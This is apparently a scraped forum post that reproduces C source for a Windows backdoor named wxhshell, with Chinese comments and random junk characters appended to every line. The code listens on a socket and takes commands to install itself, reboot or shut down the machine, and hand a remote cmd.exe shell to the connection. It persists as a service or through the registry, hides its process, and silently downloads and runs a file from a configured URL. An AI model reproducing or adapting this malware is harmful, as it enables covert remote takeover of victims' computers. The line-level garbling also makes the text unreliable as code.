    switch(cmd[0]) { x@? YS  
  q.!<GqSgb  
  // 帮助 AI#.G7'O  
  case '?': { dzs(sM=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); THY=8&x)  
    break; )<[)7`  
  } Mq52B_  
  // 安装 1Uk Gjw1J  
  case 'i': { b E6bx6=u  
    if(Install()) L)X[$:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lw=!v%L  
    else >,a$)z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^=[b]*V  
    break; qu%}b>  
    } 'q\[aKEX=  
  // 卸载 ff5 e]^,  
  case 'r': { d[`vd^hI  
    if(Uninstall()) ";;Nc>-Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q/`W[Et  
    else W9:(P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;VS$xnZ  
    break; .O6(QI*  
    } k\Z7Dg$\D  
  // 显示 wxhshell 所在路径 _&e$?hY  
  case 'p': { &vN^ *:Q  
    char svExeFile[MAX_PATH];  6h?)x  
    strcpy(svExeFile,"\n\r");  w\y)  
      strcat(svExeFile,ExeFile); T&^b~T(y  
        send(wsh,svExeFile,strlen(svExeFile),0); zI"1.^Trn  
    break; FK~*X3'  
    } /a }` y  
  // 重启 mr>dZ)  
  case 'b': { #+L:V&QE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A,4Z{f83  
    if(Boot(REBOOT)) Y3O/`-9i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&Jrchk  
    else { RC!9@H5S#  
    closesocket(wsh); 5Kl;(0B9  
    ExitThread(0); "f:_(np,  
    } { t@7r  
    break; w+gPU1|(r  
    } l7#2 e ORm  
  // 关机 T 3 <2ds  
  case 'd': { i2E@5 v=|Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yc^,Cj{OM  
    if(Boot(SHUTDOWN)) "'~&D/7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _2X6c,  
    else { uZa)N-=b2  
    closesocket(wsh); @#"6_{!j_X  
    ExitThread(0); ;%Kh~  
    } xwojjiV  
    break; soh9Oedml-  
    } $l_\9J913  
  // 获取shell RG:_:%@%}  
  case 's': { NIG* }[}P  
    CmdShell(wsh); ,L\>mGw  
    closesocket(wsh); {_ {zs!r  
    ExitThread(0); yH0vESgv  
    break; aSIoq}c(  
  } %ZX3:2  
  // 退出 {R?VB!dR  
  case 'x': { *iJ>@ vew  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KM/c^ a4V  
    CloseIt(wsh); HjY! ]!4p  
    break; .V@3zzv\  
    } yM*_"z!L  
  // 离开 0~BZh%s< (  
  case 'q': { )!Zm*(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7n7UL0Oc1  
    closesocket(wsh); |xrnLdng0R  
    WSACleanup(); '#>(JN5\  
    exit(1); D!mx&O9  
    break; 3cc;BWvM  
        } ;N!opg))d<  
  } \hP.Q;"MtO  
  } p. KT=dZT  
MP~+@0cv  
  // 提示信息 d(C5i8d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $V;0z~&!'  
} )H+p6<  
  } =g?k`v p  
T=':$(t  
  return; H__'K/nH+  
} f=- R<l  
gnlU  
// shell模块句柄 1ezBn ZJg  
int CmdShell(SOCKET sock) 36}&{A  
{ pzb`M'Z?C  
STARTUPINFO si; {Gw{W&<  
ZeroMemory(&si,sizeof(si)); V!QC.D<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r |2{( +  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S}6xkX  
PROCESS_INFORMATION ProcessInfo; 0P;\ :-&p  
char cmdline[]="cmd"; $Y8iT<nP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Se>v|6  
  return 0; c| X }[  
} V^_U=Ed@M  
C)ic;!$Qhb  
// 自身启动模式 [<X ~m  
int StartFromService(void) Jt3*(+J>/  
{ e8{!Kjiz  
typedef struct r ?z}TtDp  
{ } wx(P3BHD  
  DWORD ExitStatus; )gV @6w  
  DWORD PebBaseAddress; XW:%YTv  
  DWORD AffinityMask; goc; .~?  
  DWORD BasePriority; 7V&ly{</  
  ULONG UniqueProcessId; dg&GMo  
  ULONG InheritedFromUniqueProcessId; G)&!f)6  
}   PROCESS_BASIC_INFORMATION; nI/kX^Pd  
2yVQqwQ m  
PROCNTQSIP NtQueryInformationProcess; [^gb6W9Y  
68~5Dx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f{h2>nEj \  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f/U~X;  
@>+`1C  
  HANDLE             hProcess; ysFp$!9Ux  
  PROCESS_BASIC_INFORMATION pbi; L$^)QxH7  
{FR+a**  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ol}}c6  
  if(NULL == hInst ) return 0; A @e!~  
ld#YXJ;P.k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2\CZ"a#[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K4b2)8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l@`n4U.Gwl  
n<ecVFft  
  if (!NtQueryInformationProcess) return 0; g\H~Y@'{  
BwVq:)P/R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yn>FSq^Wp-  
  if(!hProcess) return 0; N!<X% Ym  
mteQRgC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O6ltGtF  
9H2mA$2jnE  
  CloseHandle(hProcess); t-SZBNb  
fC/P W`4Ae  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /*G bl  
if(hProcess==NULL) return 0; d"S\j@  
df/7u}>9  
HMODULE hMod; _5o5/@  
char procName[255]; ~xcU6@/  
unsigned long cbNeeded; <ka zV<"  
xu >grj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  WfQZ7e  
i]& >+R<6  
  CloseHandle(hProcess); ]+>Kl>@  
DIgur}q)@  
if(strstr(procName,"services")) return 1; // 以服务启动 ~|ha9 1  
u ^M'[<{  
  return 0; // 注册表启动 KK4rVb:-  
} bL|$\'S  
mqDI'~T9 u  
// 主模块 C1OiMb(:  
int StartWxhshell(LPSTR lpCmdLine) Ac\e>N  
{ )U{\c2b  
  SOCKET wsl; JO~62='J  
BOOL val=TRUE; w`atk=K  
  int port=0; g|j15&x  
  struct sockaddr_in door; )GOio+{H  
I(j$^DA.  
  if(wscfg.ws_autoins) Install(); VdGpreRPC  
hb1eEn  
port=atoi(lpCmdLine); \T?6TDZ]  
<:!:7  
if(port<=0) port=wscfg.ws_port; biRkq c;  
?>My&yB  
  WSADATA data; UD Pn4q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {D8yqO A}  
zX6Q7Bc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T>, [V:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /Eu|Jg=I  
  door.sin_family = AF_INET; NMzq10M=6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 27MwZz  
  door.sin_port = htons(port); F6_e n z  
Lzx2An@R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u[nLrEnD  
closesocket(wsl); YR[I,j  
return 1; z}Um$'. =  
} p[}~Z|(  
I/u>Gt  
  if(listen(wsl,2) == INVALID_SOCKET) { wM}AWmH  
closesocket(wsl); Q'YakEv >=  
return 1; [rz5tfMp  
} @S 0mNA  
  Wxhshell(wsl); AB<%GzW0(  
  WSACleanup(); D5Z)"~'  
%eGI]!vf  
return 0; Bve',.xH  
AuY*x;~  
} )"_&CYnd  
5ka6=R(r  
// 以NT服务方式启动 #VxN [770  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^-F#"i|Cn  
{ t_+owiF)M  
DWORD   status = 0; k7]4TIUD*  
  DWORD   specificError = 0xfffffff; 5uJ!)Q  
Iu^I?c[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +`!>lo{X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :k2 J &@8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5Ha(i [d  
  serviceStatus.dwWin32ExitCode     = 0; EA z>`~  
  serviceStatus.dwServiceSpecificExitCode = 0; <4CqG4}Y  
  serviceStatus.dwCheckPoint       = 0; {7` 1m!R  
  serviceStatus.dwWaitHint       = 0; GGU wS  
}0]iS8*tL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {U4{v=,!I  
  if (hServiceStatusHandle==0) return; P G zwS  
4}Lui9  
status = GetLastError(); u/xP$  
  if (status!=NO_ERROR) L]l?_#*x  
{ Z_>:p^id  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5UX-Qqr  
    serviceStatus.dwCheckPoint       = 0; uc LDl  
    serviceStatus.dwWaitHint       = 0; tH:?aP*2  
    serviceStatus.dwWin32ExitCode     = status; Z A}!Rzo  
    serviceStatus.dwServiceSpecificExitCode = specificError; zoBp02j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AdbTI#eY  
    return; yM7FR);  
  } V7vojm4 O  
iF_u/#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TCi0]Y~a  
  serviceStatus.dwCheckPoint       = 0; b#n  
  serviceStatus.dwWaitHint       = 0; fw|t`mUGu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #A:^XAU1Z@  
} e0IGx]5i  
`%~f5<  
// 处理NT服务事件,比如:启动、停止 rddn"~lm1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?"kU+tCxg  
{ M7#CMLy  
switch(fdwControl) X5= Ki $+  
{ -6^Ee?"  
case SERVICE_CONTROL_STOP: 0*j\i@  
  serviceStatus.dwWin32ExitCode = 0; ^ '_Fd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2o 7o~r  
  serviceStatus.dwCheckPoint   = 0; "$q"Kilj%  
  serviceStatus.dwWaitHint     = 0; `W7;-  
  { qat'Vj,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ebLt:gGo  
  } @P[%6 d  
  return; N9vNSmm  
case SERVICE_CONTROL_PAUSE: I/gfsyfA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ES#q/yab5  
  break; )=5*iWe  
case SERVICE_CONTROL_CONTINUE: ;a[3RqmKW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (~(FQ:L %U  
  break; 1uz K(j8w  
case SERVICE_CONTROL_INTERROGATE: 0:x+;R<P*w  
  break; iphdJZ/f  
}; 9QkssI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c~6ywuq+M`  
} i,L"%q)C  
tq*{Hil>P`  
// 标准应用程序主函数 % QaWg2Y=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r%LG>c`^  
{ Z7Nhb{  
1Sv$!xX`n  
// 获取操作系统版本 8:]5H}H i  
OsIsNt=GetOsVer(); 9~ifST \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K%SfTA1TCB  
uuy0fQQ8ti  
  // 从命令行安装 5KssfI a  
  if(strpbrk(lpCmdLine,"iI")) Install(); $<f+CtD4  
^SS9BQ*m  
  // 下载执行文件 D~TK'&  
if(wscfg.ws_downexe) { s3~6[T?8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .o8pC  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 xi@5;!  
} 5'xZ9K  
[U7r>&  
if(!OsIsNt) { 3W3d $  
// 如果时win9x,隐藏进程并且设置为注册表启动 L.a~vk 1  
HideProc(); z f^@f%R  
StartWxhshell(lpCmdLine); ;bq EfV0`2  
} +:z%#D  
else |mz0 ]  
  if(StartFromService()) aQ)g7C  
  // 以服务方式启动 w Qp{z  
  StartServiceCtrlDispatcher(DispatchTable); B_%O6  
else y{nX 6  
  // 普通方式启动 6<UI%X  
  StartWxhshell(lpCmdLine); v2mqM5Z  
?QzN\f Y;  
return 0; yF^)H{yx  
}
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只看该作者 1 发表于: 2006-10-10
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